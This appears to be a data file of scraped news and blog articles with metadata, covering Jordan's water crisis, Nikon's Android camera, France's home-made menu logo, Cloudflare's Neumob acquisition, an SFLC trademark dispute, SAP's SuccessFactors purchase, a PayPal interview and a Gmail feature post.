Nairobi, Kenya, almost ran dry this summer, while Cape Town, South Africa, is in the throes of its worst drought in many years. Tehran, Iran, looks set to introduce water rationing soon. And in the U.S., too, water managers in 40 states expect water woes over the next decade. At best, water shortages could set the global economy back $500 billion a year, according to the World Bank. At worst, they could lead to war and terrorism. As a comprehensive 2012 U.S. intelligence report put it: "The use of water as a weapon or to further terrorist objectives also will become more likely beyond 10 years." In the Middle East, that warning is especially worrisome in the aftermath of the 2011 Arab Spring revolts. As in much of the region—and the world—most of Jordan's water, at least 65 percent, goes to agriculture. And some officials recognize that this is unsustainably high. "We can't tell the next generation that we lost all your water because we grew too many tomatoes," a senior royal courtier said on the condition of anonymity, as he was not authorized to speak to the press. In the royal palace, a heavily wooded and guarded swath of central Amman, teams of specialist advisers pore over the country's options. But in a precarious region, policymakers are loath to surrender all food production. "In some ways, this has happened since time immemorial," says Aaron Wolf, a professor of geography and noted water expert at Oregon State University. "If you're rich, you resolve [the crisis]. If you're poor, you die." Jordan has never had much water. But for most of history, its relatively few inhabitants got by. Seventy years of mopping up its much larger neighbors' mess changed all of that. First, several hundred thousand Palestinian refugees fled over the border following the creation of Israel in 1948, two years after Jordan's founding, almost tripling the new state's water requirements overnight. Then waves of Lebanese, Iraqis and more Palestinians followed over the subsequent decades, each adding to the burden. Many refugees from war-ravaged Libya and Yemen also moved to Amman in recent years. By the time the civil war in Syria worsened in 2013, ultimately saddling its southern neighbor with over a million of its thirsty citizens, there was almost no Middle Eastern nationality Jordan hadn't hosted. Native Jordanians have played their part in the population growth too. The country has a fertility rate of 3.38, one of the highest in the region. This population boom alone, however, didn't doom Jordan's water supply, government strategists say. (Though they insist the Syrian refugees, who come from a less arid land, have little understanding of water conservation practices.) But with much of the growth coming in sudden influxes, authorities have been unable to properly plan from one year to the next. And so, as Jordan's population has continued to outpace all projections, besting the 2035 forecast of 9 million as early as 2015, stunned officials have resorted to raiding all water sources in sight—to devastating effect. Ten of the country's 12 aquifers are now almost depleted, says Maysoon Zoubi, head of the Higher Population Council and a former secretary-general of the Ministry of Water and Irrigation. In some places, water engineers are drilling down over a mile in pursuit of new discoveries. Authorities don't have a choice, experts say. "The water quality is going down, the water quantity is going down, but you need to provide water for people," says Raed Nimri, a water expert at Mercy Corps and deputy head of Water Innovations and Technologies, a U.S.-funded water-saving program. "This is a national security issue." At 90 cubic meters per person per year, one of the lowest per capita water shares in the world, Jordanians enjoy about 3 percent of Americans' consumption. But the country is far from blameless regarding its water plight. Perhaps half of all extracted water is lost to leaky pipes; in some otherwise dry districts of Amman, gushing jets of freshwater irrigate the concrete. It's a self-inflicted wound of crippling proportions. Because of holes in the distribution network, water station operators have to pump furiously to maintain pressure in the pipes, so more is squandered in transit. In fact, almost 20 percent of Jordan's electricity goes to pumping and circulating water around the country, according to the Ministry of Water and Irrigation. Despite this massive expense, the flow is often so feeble by the time it reaches residents, many of whom receive municipal water access only every few weeks, they don't have enough time to fill the rooftop tanks they use to tide themselves over until the next delivery. "The streets are getting the water we need!" says Samir Kukh, a retired civil servant, who lives in the capital's Bayader neighborhood. Theft is also exacting a heavy toll. For decades, a wealthy and connected cabal of major families and tribal leaders have exploited Jordan's water resources. Conscious of the monarchy's dependence on their political support, they've helped themselves to torrents of free water without fear of reproach. "There's political interference because some of the big families have their farms," says Zoubi. At least 30 million cubic meters are lost to illegal wells every year, according to the Ministry of Water and Irrigation, though independent experts suspect the total might be much higher. So at the same time as severe water shortages pitch Syrian refugees and Jordanians into conflict with each other, particularly around Ramtha in the north, these powerful landowners are guzzling groundwater. "In a country that might run out of water," says Mohammed Atiyeh, a farmer in the southern Jordan Valley, "there is regulation only for the weak and poor." #### 'Praying to God for Help' Located in the valley, with its famously fertile soil, several hundred meters below sea level, Atiyeh's farm ought to be blooming. But with a water supply that's one-fifth as salty as seawater, he can't grow anything but sickly looking palm trees. And with his neighbor, a scion of one of the area's leading families, hoarding what's left of the freshwater to irrigate his banana trees, Atiyeh worries he might soon be unable to grow anything at all. Others face a far direr situation. Several miles to the south, along the Dead Sea, sinkholes have already consumed some fields. With next to no Jordan River water now reaching the lake, the lowest place on Earth, surface levels are falling by around a meter a year, taking everything from roads to rice crops with them. At some spas on the Israeli side of the Dead Sea, operators now rely on tractor-drawn trailers to ferry guests over half a mile to the beach. Because of climate change, Jordan's water shortage could soon get dramatically worse. The little rain the country receives is projected to drop 30 percent by the end of the century, according to Stanford University's Jordan Water Project. Soil will dry out, reducing yields. As supply hits new lows and demand soars—particularly in agriculture, as much higher temperatures lead to more evaporation and thirstier crops—even royals are bracing themselves for trouble. "Although Jordan contributed very little to the imminent impact of climate change, it is nevertheless expected to suffer on a much higher level compared to other countries," says Prince Hassan bin Talal, the king's uncle and former chairman of the U.N. Secretary-General's Advisory Board on Water and Sanitation. Even with present levels of precipitation, Jordan has never filled more than 60 percent of its dam and reservoir network. And then there's the continued fallout from the kingdom's unfortunate topography. Downstream of Syria and Israel, and with its biggest aquifers spanning the Saudi and Syrian borders, Jordan has always been at the mercy of its neighbors' water policies. Since the 1950s, dam construction and agricultural expansion in Syria have cut the volume of the Yarmouk, the Jordan River's principal tributary, by at least 60 percent. The Wehda Dam, Jordan's big barrage on the Yarmouk, has rarely been more than a quarter full . But authorities in Amman haven't seen anything yet, Stanford researchers say. Regionwide drought and upstream population growth could shrink Jordan's share of the Yarmouk up to 75 percent by 2050, while likely further cutting its groundwater access. With less rain, little river water, more people and already ailing aquifers, the numbers are no longer adding up. "We are praying to God for help," says Sobhi al-Abadi, one of an estimated 30,000 water tank drivers who service unconnected homes and businesses across the capital area. "Because nothing [else] will help us here." Every morning, starting at 4 a.m., he and dozens of other truckers wait up to five hours to fill their tanks at Sharat, a well just south of Amman. From there, they spread out across the city, waiting for their phones to ring. Most neighborhoods have at least five or six wait stations, where the drivers can pull up and doze. But each year, business gets more challenging, al-Abadi and his colleagues say. Gas prices have gone up, raising their costs, at the same time as the "big families" with their private wells undercut the market. It's seemingly only the brutal summer heat, which boosts demand, that enables them to break even. "We thought this was a safe job because if someone runs out of water, they're going to do everything they can to buy more," Abadi says. "We're not so sure anymore." #### Attacking the Crisis Jordan does, however, have a few earthly options. The state is getting more serious about tackling the causes of its crisis—from launching family-planning campaigns to raising water prices and cracking down on bigwig water barons. "Some people will still be above the law, but there has been a drive to reduce their number and hopefully their impact," says Samer Talozi, a professor at the Jordan University of Science and Technology and member of the Stanford Water Project. Residential water prices have already gone up threefold over the past few years, from around $8 to $25 per quarter, though the World Bank says water is still underpriced. Aid and development organizations, like Mercy Corps, have even enlisted imams to encourage water conservation in their Friday sermons. And there are some signs that the state is finally recognizing the necessity of reforming its agricultural sector. Already, about a quarter of farms operate off treated wastewater; there are plans to double that figure. Making the move away from conventional crop cultivation toward hydroponics and other water-saving farming techniques, as most experts believe the kingdom must eventually do, will be politically complicated, but Jordan has the necessary top-down system to pull it off. "If the king supports something, that means the Cabinet supports something," says Subah, the water and irrigation official. In a rocky, windswept portion of the southern Jordanian desert, the Sahara Forest Project, a Norwegian venture, offers something of a template for how Jordan might maintain some food production despite its water shortage. Its model, one of the first of its kind in the world, involves piping water from the nearby Red Sea, desalinating it with solar-powered technology and then recycling it among greenhouses. With no ground, rain or surface water, they envisage growing an initial 130 tons of vegetables a year. These reforms are necessary, but in the long term, none will be sufficient to make up for Jordan's water deficit, particularly if, as is the country's experience, the Syrian refugees don't go home. Jordan's current water budget is a little under a billion cubic meters, but by 2025, it's forecast to hit at least 1.4 billion. Only large-scale desalination, it seems, will give the kingdom a chance to satisfy its needs. "At one point, it has to happen," says Nimri of Mercy Corps. "If you want to come to a point where you don't run out of water, it has to happen." One of the most ambitious schemes, known as the Red to Dead project, involves taking water from the Red Sea, desalinating it and dumping the brine into the Dead Sea to slow its disappearance. But for these grand plans to work, Jordan, already one of the biggest beneficiaries of American assistance, is going to need a lot more outside help. The U.S. Agency for International Development has spent over $800 million on water projects in Jordan since 2000. The government in Amman is more or less broke, while the country's layout—with a short coastline that's downhill and a long way away from the main population centers—is uniquely ill-suited to cost-effective desalination. "The massive investment required to act...exceeds Jordan's resources by far," says Prince Hassan. "The help of the international community is essential to overcome the water problems." Still, few would bet against the kingdom. It has displayed remarkable survival instincts in the past, remaining stable as its neighbors have wobbled. Even when faced with its greatest challenge, there's reason to believe it can do it again. "We're a country of refugees," says el-Qaisi, the water-deprived mechanic, showing off a modified shopping cart with which he and his neighbors plan to ferry large tanks of water up their hill. "And refugees," he adds, "are survivors."

Water shortages in Jordan pit rich against poor as the country scrambles to serve a booming population.

2024-10-12 00:00:00

2017-12-01 00:00:00

article

newsweek.com

Newsweek

http://www.theverge.com/2012/8/22/3259346/Nikon-coolpix-s800c-price-availability

Nikon announces Android-powered Coolpix S800c, flagship P7700 compact

David Pierce

Who says Android is only a phone operating system? Nikon certainly doesn't think so, and after much speculation the company's just released its first Android-powered camera, the Coolpix S800c. The $349.95 S800c runs what appears to be stock Android 2.3, and comes with full access to Google's Play Store so you can download any and every camera app you can think of, or just check your email if you're so inclined. (We're already salivating at the idea of having Dropbox and Instagram at our fingertips on our camera.) The back of the camera even looks a bit like a phone, dominated by the 3.5-inch LCD, and the available colors — white and black — are intensely phone-like as well. It's like a Galaxy Player, only with a really great camera First and foremost, though, the S800c is a camera: it has a 16-megapixel CMOS sensor, a 10x zoom lens ranging from 25-250mm, a built-in flash, shooting up to eight frames per second, and lots of filters and effects that don't force you to take 1024 x 1024 shots Instagram-style. It's also capable of shooting 1080p video with stereo sound. Basically, it's a fairly low-end camera combined with a fairly low-end phone; we're curious to get our hands on the device and see if the whole is greater than the sum of its parts. (Or at least better than Polaroid's Android-powered camera.) Nikon announced a couple of other models today as well, on either side of the price spectrum of the S800c. The Coolpix P7700 replaces the P7100 as Nikon's DSLR companion, its answer to Canon's G1 X or Fujifilm's X10. The $499.95 shooter does away with the P7100's optical viewfinder, but in exchange you get a serious spec upgrade: the P7700 has a 7.1x zoom lens (from 28-200mm), and aperture at the widest setting can go as bright as f/2. The camera can also shoot 1080p video, and stills should even be better thanks to a new 12.2-megapixel CMOS sensor. The new shooter also has dials and controls galore for the impatient DSLR user. On the opposite end, there's the Coolpix S01, which Nikon reps described as "without a doubt the smallest camera I've ever seen." To make the camera so small (it's three inches wide and two inches tall), a lot of its parts are built in — there's no removable battery or memory, so you're stuck with the 8GB it gives you. The S01 has a 2.5-inch LCD, a 10-megapixel CCD sensor, and 3x zoom from 29-87mm. At $179 it's meant for a very different kind of user than Nikon's other new cameras, but there's certainly something to be said for a camera you can lose in your bag. All three new models will be available in September, alongside the recently announced 1 J2 mirrorless camera. 1/16

Nikon launched three new Coolpix cameras today, including one that's powered by Android.

2024-10-12 00:00:00

2012-08-22 00:00:00

article

theverge.com

The Verge

https://www.washingtonpost.com/opinions/2023/04/13/bees-urban-beekeeping-native-pollinators/

http://thetechblock.com/interview-with-mike-levin/

http://www.bbc.co.uk/news/magazine-28313666

The new sign on French menus

Olivia Sorrel-Dejerine

# The new sign on French menus - Published **The summer rush to France - a magnet for more foreign tourists than any other country - is about to begin. And this year travellers may spot a new logo on menus, designed to flag up when food has been home-made. But how exactly is "home-made" defined?** The bad news is that - just like anywhere else in the developed world - many French restaurants just reheat pre-prepared food, rather than cooking it from scratch. French consumers estimated, in a poll, external last October, that barely half of restaurant meals were home-made, while the Union of Hotel Skills and Industries suggests that 85% of restaurants secretly make use of frozen or vacuum-packed food. In the country of Parmentier, Escoffier, and Paul Bocuse, to many people this just doesn't seem right, so a law designed to uphold French culinary traditions was passed earlier this year, and came into force this week. Now any restaurant that serves a home-made dish can indicate it on the menu with a new logo - in the shape of a saucepan with a roof-like lid. From next January it will be compulsory for all menus to carry the logo - so if you don't see it, the food is not *fait maison*. "We chose to represent 'home-made' with a logo so that foreign tourists could understand it," says a government spokeswoman. "French gastronomy represents 13.5% of foreign tourists' expenses and it's undeniable that if we add value to the quality of our restaurants, it will have an impact on tourism." Even professional chefs in smart restaurants have been cutting corners, it seems. They can buy steak tartare that has been chopped irregularly to make it look as if it was just hand-prepared in the kitchen, and any number of *faux* home-made tarts and pies. "It's true that it is much easier to buy ready-made piecrust or ready-made veal stock. You don't have to come in early or to stay during the afternoon," says Pierre Negrevergne, external, Maître Restaurateur at La Terrasse Mirabeau in Paris, who only cooks with fresh seasonal products from local producers. "Anyone can buy a ready-made pate, cut it, present it with some salad and only few people will notice it is industrial." Alain Tortosa, gourmet and creator of the directory Restaurantsquifontamanger.fr, mentions the case of a chef who went out for dinner and knew he was eating an industrially made Boeuf Bourguignon. "It was so good that the chef was soon asking himself why he was taking the trouble to make his own," he says. **French diners' views** 81% know that some restaurants use pre-prepared products 82% say the use of industrial food by restaurants is incompatible with what they expect 73% say they are satisfied with the quality of meals served in restaurants 34% would be willing to pay more for a restaurant that serves homemade food *Source: April 2013 survey by Opinion Way for the Union of Hotel Skills and Industries* Under the new law readymade pie crust, pate and stew will not qualify for the logo, but there are some exceptions. Chefs can buy bread, pasta, cheese and wine, and also, more controversially, raw products that have been frozen, refrigerated, chopped, ground, smoked, or peeled - though this doesn't extend to oven chips. A number of French commentators are furious. Food critic JP Gene has lashed out in Le Monde, scoffing at the idea of "home-made" restaurant food produced with frozen shrimps and frozen spinach. The exceptions undermine the original idea of the law, he argues, which was to allow the consumer to distinguish a restaurant where fresh products are cooked on site, to encourage the use of local produce, and to create jobs - because kitchens need staff if they are to peel their own vegetables, fillet fish and truss chickens. The result, he says, is a "joke". The government nonetheless predicts a virtuous circle, with restaurant owners increasing the number of home-made meals, consumers getting a better experience, and visiting restaurants more regularly. Whether this is how it will work in practice, nobody can be sure. Francis Attrazic, President of the French Association of Maitres Restaurateurs points out that many restaurants will continue to serve only reheated food, because it's all they know how to do. He still thinks it's useful, though, to have the concept of "home-made" food defined in law for the first time. For his part, Alain Tortosa can see the law actually reducing the number of home-made dishes on menus. He gives the example of a restaurant owner whose menu is almost entirely made with industrial food, except for the apple pie he makes himself. Under the new law, he will have to put a logo next to the pie - but this will only serve to underline the fact that all the other dishes are pre-prepared. "The restaurant owner will be tempted to replace the home-made pie by a pre-prepared one. He will have less work, he will earn more money and he lawfully won't put any logo on his menu." *Subscribe to the *BBC News Magazine's email newsletter* to get articles sent to your inbox.*

France has introduced a new logo for restaurant menus so customers can tell if the food they order is home-made.

2024-10-12 00:00:00

2014-07-15 00:00:00

article

bbc.com

BBC News

https://blog.cloudflare.com/neumob-optimizing-mobile/

Cloudflare’s Super Secret Plan, or why we acquired Neumob

John Graham-Cumming

We announced today that Cloudflare has acquired Neumob. Neumob’s team built exceptional technology to speed up mobile apps, reduce errors on challenging mobile networks, and increase conversions. Cloudflare will integrate the Neumob technology with our global network to give Neumob truly global reach. It’s tempting to think of the Neumob acquisition as a point product added to the Cloudflare portfolio. But it actually represents a key part of a long term “Super Secret Cloudflare Plan”. CC BY 2.0 image by Neil Rickards Over the last few years Cloudflare has been building a large network of data centers across the world to help fulfill our mission of helping to build a better Internet. These data centers all run an identical software stack that implements Cloudflare’s cache, DNS, DDoS, WAF, load balancing, rate limiting, etc. We’re now at 118 data centers in 58 countries and are continuing to expand with a goal of being as close to end users as possible worldwide. The data centers are tied together by secure connections which are optimized using our Argo smart routing capability. Our Quicksilver technology enables us to update and modify the settings and software running across this vast network in seconds. We’ve also been extending the network to reach directly into devices and servers. Our 2014 technology Railgun helped to speed up connections to origin HTTP servers. Our recently announced Warp technology is used to connect servers and services (such as those running inside a Kubernetes cluster) to Cloudflare without having a public HTTP endpoint. Our IoT solution, Orbit, enables smart devices to connect to our network securely. The goal is that any end device (web browser, mobile application, smart meter, …) should be able to securely connect to our network and have secure, fast communication from device to origin server with every step of the way optimized and secured by Cloudflare. While we’ve spent a lot of time on the latest encryption and performance technologies for the web browser and server, we had not done the same for mobile applications. That changes with our acquisition of Neumob. ### Why Neumob The Neumob software running on your phone changes how a mobile app interacts with an API running on an HTTP server. Without Neumob, that API traffic uses that standard Internet protocols (such as HTTPS) and is prone to be affected negatively by varying performance and availability in mobile networks. With the Neumob software any API request from a mobile application is sent across an optimized set of protocols to the nearest Cloudflare data center. These optimized protocols are able to handle mobile network variability gracefully and securely. Cloudflare's Argo then optimizes the route across the long-haul portion of the network to our data center closest to the origin API server. Then Cloudflare's Warp optimizes the path from the edge of our network to the origin server where the application’s API is running. End-to-end, Cloudflare can supercharge and secure the network experience. Ultimately, the Neumob software is easily extended to operate as a “VPN” for mobile devices that can secure and accelerate all HTTP traffic from a mobile device (including normal web browsing and app API calls). Most VPN software, frankly, is awful. Using a VPN feels like a backward step to the dial up era of obscure error messages, slow downs, and clunky software. It really doesn’t have to be that way. And in an era where SaaS, PaaS, IaaS and mobile devices have blown up the traditional company ‘perimeter’ the entire concept of a Virtual Private Network is an anachronism. ### Going Forward At the current time the Neumob service has been discontinued as we move their server components onto the Cloudflare network. We’ll soon relaunch it under a new name and make it available to mobile app developers worldwide. Developers of iOS and Android apps will be able to accelerate and protect their applications’ connectivity by adding just two lines of code to take advantage of Cloudflare’s global network. As a personal note, I’m thrilled that the Neumob team is joining Cloudflare. We’d been tracking their progress and development for a few years and had long wanted to build a Cloudflare Mobile App SDK that would bring the network benefits of Cloudflare right into devices. It became clear that Neumob’s technology and team was world-class and that it made more sense to abandon our own work to build an SDK and adopt theirs. *Cloudflare is hiring to grow the mobile team and is looking for people in San Francisco, Sunnyvale and Austin: **iOS Backend Engineer**, **Android Backend Engineer**, **Android SDK Engineer**, **iOS SDK Engineer** and **Protocol Engineer**.*

We announced today that Cloudflare has acquired Neumob. Neumob’s team built exceptional technology to speed up mobile apps, reduce errors on challenging mobile networks, and increase conversions.

2024-10-12 00:00:00

2017-11-14 00:00:00

article

cloudflare.com

The Cloudflare Blog

https://www.softwarefreedom.org/blog/2017/dec/22/conservancy/

Conservancy: How and Why We Should Settle

# Conservancy: How and Why We Should Settle ### By Eben Moglen | December 22, 2017 Yesterday marks three years that I have been trying to negotiate a peaceful settlement with my ex-employees, Karen Sandler and Bradley Kuhn, of various complaints SFLC and I have about the way they treat us. After all this time when they would not even meet with us to discuss our issues, the involvement of the Trademark Trial and Appeals Board in one aspect of the matter has at least created a space for structured discussion. Intermediaries both organizations work with and trust have generously taken the opportunity to communicate our settlement proposals, and we have initiated discussion through counsel. As transparency is, indeed, a valued commitment in the free software world, we think it is now time to publish our offer: We propose a general peace, releasing all claims that the parties have against one another, in return for an iron-clad agreement for mutual non-disparagement, binding all the organizations and individuals involved, with strong safeguards against breach. SFLC will offer, as part of such an overall agreement, a perpetual, royalty-free trademark license for the Software Freedom Conservancy to keep and use its present name, subject to agreed measures to prevent confusion, and continued observance of the non-disparagement agreement. We think these are terms that any pair of organizations and their managers could honorably accept for the resolution of claims such as ours. We agree that resources should not be expended on contestation where such a settlement is possible. We do not think that any organization’s welfare or any principle would be served by preferring litigation to this settlement, and we don’t. But as a lawyer I have the same obligation of zealous representation to the organization I created and led for the last thirteen years that I have to any other client. If we cannot settle swiftly on these evidently fair and respectful terms, litigation must continue. ## The Trademark Case as It Stands When you apply for a trademark in the United States, you must make certain declarations under oath, including that to your knowledge and belief there are no other persons entitled to use the mark or any mark so similar to the mark you are seeking to register that it will or might create “confusion, deception or mistake.” You must also acknowledge on the registration application that false certifications are a federal felony under 18 U.S.C. Section 1001.1 When Anthony K. Sebro, the Conservancy’s in-house counsel, applied for the trademark at issue, in November 2011, the certifications he made were false. This does not mean that a false and fraudulent statement was made in order to acquire a trademark wrongfully. Perhaps Mr Sebro did not know about the organizational history of SFLC and SFC. Perhaps Mr Sebro was not aware of the “Software Freedom Law Center” trademark. His supervisor, the executive director, Bradley Kuhn, had actual knowledge of these matters. So did the Conservancy’s corporate secretary and board member Karen Sandler. Perhaps whatever Mr Sebro did instead of talking to them constituted inquiry reasonable under the circumstances and gave him an evidentiary basis for the false certifications that he made. Also, perhaps not. On the application, a potential trademark registrant must also make a full and complete disclosure of the goods and services it offers under the proposed mark. Though the Conservancy was at the time advertising on its website that it offered “legal services”, Mr Sebro omitted “legal services” (and only “legal services”) from the list of services on the application, perhaps in order to make it more difficult for the PTO examiner to find the likelihood of confusion with our pre-existing mark. Now, in his affidavit accompanying the Conservancy motion for summary judgment on its affirmative defenses, Mr Kuhn declares that he instructed Mr Sebro to file the trademark application. In paragraph 32 of their answer to our petition, however, the Conservancy through its counsel declares that any false statement made on the trademark application was solely the act of Mr Sebro, not of the Conservancy. In view of this evidence and the sworn pleading submitted by the Conservancy, we have now moved to amend our petition, to state as a second ground for the cancellation that the trademark was obtained by fraud. ## Conclusion One need not have spent more than three decades teaching law in Ivy League law schools to know that the real purpose of Conservancy’s summary judgment motion was to delay our taking discovery. The Conservancy has also applied for new trademark registrations, declaring that they have a bona fide intention to use “The Software Conservancy,” both as a word mark and as a design mark with their tree symbol. (Despite his stated commitment to transparency, Mr Kuhn in his rather extensive blog post omitted to mention that.) Settlement is the only outcome that makes sense here. Continuance of litigation cannot possibly benefit my former employees, let alone the organization they manage, or its board. We have put a fair offer for comprehensive peace on the table. We hope it will be swiftly accepted. The full text of the certification required was: The undersigned, being hereby warned that willful false statements and the like so made are punishable by fine or imprisonment, or both, under 18 U.S.C. Section 1001, and that such willful false statements, and the like, may jeopardize the validity of the application or any resulting registration, declares that he/she is properly authorized to execute this application on behalf of the applicant; he/she believes the applicant to be the owner of the trademark/service mark sought to be registered, or, if the application is being filed under 15 U.S.C. Section 1051(b), he/she believes applicant to be entitled to use such mark in commerce; to the best of his/her knowledge and belief no other person, firm, corporation, or association has the right to use the mark in commerce, either in the identical form thereof or in such near resemblance thereto as to be likely, when used on or in connection with the goods/services of such other person, to cause confusion, or to cause mistake, or to deceive; and that all statements made of his/her own knowledge are true; and that all statements made on information and belief are believed to be true." *Please email any comments on this entry to press@softwarefreedom.org.*

The Software Freedom Law Center provides legal representation and other law related services to protect and advance Free and Open Source Software.

2024-10-12 00:00:00

2017-12-22 00:00:00

http://www.gamasutra.com/blogs/PatrickMiller/20140114/208608/Video_games_will_save_the_world.php

Blogs recent news | Game Developer

Preserving the Past With Charles Cecil: Game Developer Podcast Ep. 46 On the unionization frontlines with Autumn Mitchell, Emma Kinema and Chris Lusco: Game Developer Podcast Ep. 45 Behind the GDC scenes with Beth Elderkin and Sam Warnke: Game Developer Podcast ep. 43 What to do about Game Engines with Rez Graham and Bryant Francis: Game Developer Podcast Ep. 42

Explore the latest news and expert commentary on Blogs, brought to you by the editors of Game Developer

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2024-10-11 00:00:00

https://www.gamedeveloper.com/build/_assets/gamedeveloper-X2EP7LQ6.ico

website

gamedeveloper.com

Game Developer

http://www.nytimes.com/2014/08/15/technology/web-trolls-winning-as-incivility-increases.html

https://twitter.com/MichaelGalanin/status/1173460420805443584

x.com

2024-10-12 00:00:00

X (formerly Twitter)

http://techcrunch.com/2011/12/03/zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz/

SAP Will Buy SuccessFactors For $3.4 Billion | TechCrunch

Alexia Tsotsis

In what is perhaps the most boring piece of tech news to come out of this week, German software giant SAP has today announced that it will buy the US-based SuccessFactors, a company that “helps organizations align strategy with objectives and manage people performance to ensure execution & results,” IN THE CLOUD, OF COURSE. I think this means that it provides enterprise software for human resources, but you can never be too sure with **these incredibly dull companies**. I am too bored to Google it. In fact, I am literally bored to tears writing this, like I am seriously crying here in my local coffee shop and everyone is looking at me weird and I just want to show them this press release so they’ll understand or something. The deal is all cash, at $40 a share (a $3.4 billion valuation) and will most likely close early next year. If you are actually interested in finding out more, or having trouble sleeping and need something to push you over the edge, SAP will be holding a conference call on Monday, December 5th, at 3:00 pm CET / 9:00 am EST where you can learn details about the transaction. *Fin.*

In what is perhaps the most boring piece of tech news to come out of this week, German software giant SAP has today announced that it will buy the US-based SuccessFactors, a company that "helps organizations align strategy with objectives and manage people performance to ensure execution & results," IN THE CLOUD, OF COURSE. I think this means that it provides enterprise software for human resources, but you can never be too sure with these incredibly dull companies. I am too bored to Google it. In fact, I am literally bored to tears writing this, like I am actually crying here in my local coffee shop and everyone is looking at me weird and I just want to show them this press release so they'll understand or something.

2024-10-12 00:00:00

2011-12-03 00:00:00

article

techcrunch.com

TechCrunch

http://arstechnica.com/business/2013/09/how-can-i-stop-paypal-from-freezing-my-crowdfunding-campaign/

How can I stop Paypal from freezing my crowdfunding campaign?

Lee Hutchinson

Yesterday, we ran a story about how global payment processing company Paypal froze $45,000 of funds pledged to Mailpile, a company attempting to build a more secure, self-hosted set of e-mail tools. The article generated no small amount of vitriol against Paypal, not the least of which came from the fact that this wasn't the first time the company had stepped in and frozen the funds belonging to a legitimate crowdfunding campaign. Several hours after the story went live, Paypal released the funds pledged to Mailpile with an accompanying statement saying in part that they "never want to get in the way of innovation, but as a global payments company we must ensure the payments flowing through our system around the world are in compliance with laws and regulations. We understand that the way in which we are complying to these rules can be frustrating in some cases, and we've made significant changes in North America to adapt to the unique needs of crowd funding campaigns." Paypal offered to talk with Ars about their response to the Mailpile incident, and so yesterday afternoon I found myself on the phone with Anuj Nayar, Paypal's Senior Director of Global Initiatives. Nayar was quick to point out that Paypal is aware of the problems and is working to change them. A common refrain after each question was that Paypal wants to stay out of the way and not insert itself as a roadblock in the crowdfunding process. With that in mind, then, how can folks avoid falling into the same frozen funds situation as Mailpile? ## Promises, promises It's a simple question, but the answer took quite some time to get to. Nayar started off by emphasizing that Paypal is currently undergoing sweeping changes at the behest of their new president, David Marcus. Nayar referred repeatedly to a recent blog post by Marcus, wherein Marcus acknowledges that Paypal has problems with perception and with adequate responses to customers' problems. The blog post came up several times during the call; Nayar wanted to emphasize firmly that Paypal is aware, at every level including the executive, that they have missed the mark and that they are changing.

Ars asks Paypal and gets a complex—and so far unsatisfactory—answer.

2024-10-12 00:00:00

2013-09-06 00:00:00

article

arstechnica.com

Ars Technica

http://eamann.com/tech/net-neutrality-crowdsourcing-data/

http://gmailblog.blogspot.com/2011/12/gmail-and-contacts-get-better-with.html

Gmail and Contacts get better with Google+

Google

Official Gmail Blog News, tips and tricks from Google's Gmail team and friends. Gmail and Contacts get better with Google+ December 8, 2011 Posted by Mark Striebeck, Engineering Director We want to bring you a great experience across all Google products which, for Gmail and Contacts, means understanding what you care about and delivering it instantly. With that in mind, we’re introducing some new integrations with Google+ that we think will make Gmail and Contacts even better. If you use Google+, you can now grow your circles, filter emails and contacts by circles, keep all your contact information up-to-date automatically and share photos to Google+, all right from Gmail and Contacts. Grow your circles from your email Now when you open an email from someone on Google+, you can see the most recent post they’ve shared with you on the right-hand side of the conversation. If they’re not in your circles yet, it’s easy to add them straight from Gmail. Find information from the people you care about most Looking for the info on an upcoming family holiday gathering but can't remember who sent it? If you've spent time building your Google+ circles, you can now quickly use them to filter your mail, saving yourself from having to sift through that pile of daily deal emails and newsletters. You can see messages from all of your circles at once or from each individual circle. And if you want, you can show circle names on emails in your inbox. Contacts can also be filtered by circles, making it easier to view your social connections. Keep your contact information up-to-date automatically Manually entering contact information can be a huge time drain—so let your circles do it for you. If your contacts have a Google profile, their contact entry in Gmail will be updated with the profile information they’ve shared with you, including phone numbers, email addresses and more. If they change it in the future, you’ll get those updates automatically. You can also make sure the people you care about have your most up-to-date contact information by updating your own Google profile and sharing it. Share effortlessly without leaving your inbox Lots of great images are sent through email, but sharing those photos with friends on Google+ used to require downloading the image from Gmail and re-uploading to your profile. Not anymore: Now you can share photo attachments with one quick click. The image(s) will be uploaded to your Google+ photos and be viewable only to the circles that you choose to share with. We’ll be rolling out all of these changes out over the next few days to Gmail, Gmail Contacts and the “standalone” version of Google Contacts at contacts.google.com . Please note that Google Apps users won’t see the Contacts updates quite yet, but we’re actively working to make them available. All of these features (and the more to come) are the result of the great discussion that we had on Google+ with users in July. If you want to join in discussions like these, add the Gmail Google+ page to your circles. And if you haven't signed up for Google+ and would like to try these new features, visit this page to get started. Labels buzz calendar Gmail Blog Google Apps Blog Google Calendar googlenew Inbox Inbox by Gmail labs mobile Offline reader tasks tip Archive 2016 Sep Aug Apr Mar Feb Jan 2015 Dec Nov Oct Sep Jul Jun May Apr Mar Feb Jan 2014 Dec Nov Oct Aug Jul Apr Mar Feb Jan 2013 Dec Nov Oct Sep Jul Jun May Apr Mar 2012 Dec Nov Oct Sep Aug Jul Jun May Apr Mar Feb Jan 2011 Dec Nov Oct Sep Aug Jul Jun May Apr Mar Feb Jan 2010 Dec Nov Oct Sep Aug Jul Jun May Apr Mar Feb Jan 2009 Dec Nov Oct Sep Aug Jul Jun May Apr Mar Feb Jan 2008 Dec Nov Oct Sep Aug Jul Jun May Apr Mar Feb Jan 2007 Dec Nov Oct Sep Aug Jul Feed Google on Follow @gmail Follow Give us feedback in our Product Forum . Get posts via email Email: Powered by Google Groups Useful Links About Gmail Gmail for Mobile Gmail for Work

Posted by Mark Striebeck, Engineering Director We want to bring you a great experience across all Google products which, for Gmail and Con...

2024-10-12 00:00:00

2011-12-08 00:00:00

article

googleblog.com

Official Gmail Blog

http://getsatisfaction.com/nexmo/topics/can_i_use_different_sender_ids

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https://en.wikipedia.org/wiki/Production_of_Ben-Hur_(1959_film)

Production of Ben-Hur (1959 film) - Wikipedia

